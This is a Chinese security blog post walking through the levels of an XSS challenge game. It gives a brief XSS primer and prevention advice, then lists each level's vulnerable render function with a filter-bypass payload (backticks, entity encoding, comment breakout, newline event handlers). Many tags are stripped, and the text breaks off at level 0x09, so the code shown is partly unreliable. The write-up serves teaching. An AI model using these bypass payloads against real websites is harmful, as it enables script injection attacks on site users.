您当前的位置: 首页 >  游戏

合天网安实验室

暂无认证

  • 1浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

Xss小游戏通关秘籍

合天网安实验室 发布时间:2019-11-26 10:00:37 ,浏览量:1

本文作者:kale 本文首发于“合天智汇”公众号,转载请联系公众号!

一、 题记

最近发现一个xss的攻防网站,界面很有意思,很适合寓教于乐。于是玩了一下午,特此记录下来!xss姿势众多,所以每关也只是给了一部分示例!

二、 知识前导 什么是XSS?

XSS 或者说跨站脚本是一种 Web 应用程序的漏洞,当来自用户的不可信数据被应用程序在没有验证以及反射回浏览器而没有进行编码或转义的情况下进行了处理,导致浏览器引擎执行了代码。

XSS防护逻辑

如果你可以使得一个Web应用程序满足以下规则,XSS可以被减少。

  1. 验证输入并且基于语境和按照正确的顺序转义不可信数据

输入验证

所有不可信数据应该针对Web应用程序的逻辑在处理和存储前进行验证

浏览器解析顺序

img

浏览器解码顺序

img

解码和解析顺序意味着很多东西。如果对不可信数据的编码或解码以错误的顺序或错误的环境,将再次有机会导致XSS漏洞的发生。编码或者转义对不同的环境要求不同。这些编码的顺序应该取决于应用程序的逻辑。

一个典型的不可信数据可以反射在HTML,HTML属性,脚本变量,脚本块,含状态传输的参数,URL、风格等中。不同的转义方法为了确保XSS的防护必须要在不同的环境 中实现。

三、 正文 0x00

server code:

   function render (input) {
        return '
' + input + '
' }

input code:

alert(1)

第一关,没啥说的,没有任何过滤,直接输出到了js里面。

0x01

server code:

    function render (input) {
        return '' + input + ''
    }

input code:

    alert(1)

这一关闭合textarea标签即可

0x02

server code:

    function render (input) {
        return ''
    }

input code:

    ">alert(1)

此关闭合双引号及及input标签即可!

0x03

server code:

    function render (input) {
        const stripBracketsRe = /[()]/g
        input = input.replace(stripBracketsRe, '')
        return input
    }

input code:

    alert`1`

这里过滤括号,可以使用反引号绕过,当然可以使用html实体编码绕过

alert(1)
0x04

server code:

    function render (input) {
        const stripBracketsRe = /[()`]/g
        input = input.replace(stripBracketsRe, '')
        return input
    }

input code:

alert(1)

在上题基础上加了个``反引号过滤,html实体编码绕过

0x05

server code:

    function render (input) {
        input = input.replace(/-->/g, '😂')
        return ''
    }

input code:

    --!>
    alert(1)
    注释符替换成笑脸…并且输出在html注释中。使用–!>绕过并跳出注释,html注释:
 或者
 

0x06

server code:

    function render (input) {
            input = input.replace(/auto|on.*=|>/ig, '_')
            return ``
    }

input code:

   onmousemove
=alert(1)

过滤以auto开头或者on开头,=等号结尾的标签属性并替换成_,且忽略大小写。这里使用换行绕过。

0x07

server code:

    function render (input) {
        const stripTagsRe = /]+>/gi

        input = input.replace(stripTagsRe, '')
        return `${input}`
    }

input code:

1、闭合前加空格绕过;在标签>闭合前换行绕过;

0x09

server code:

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `            
关注
打赏
1665306545
查看更多评论
0.1219s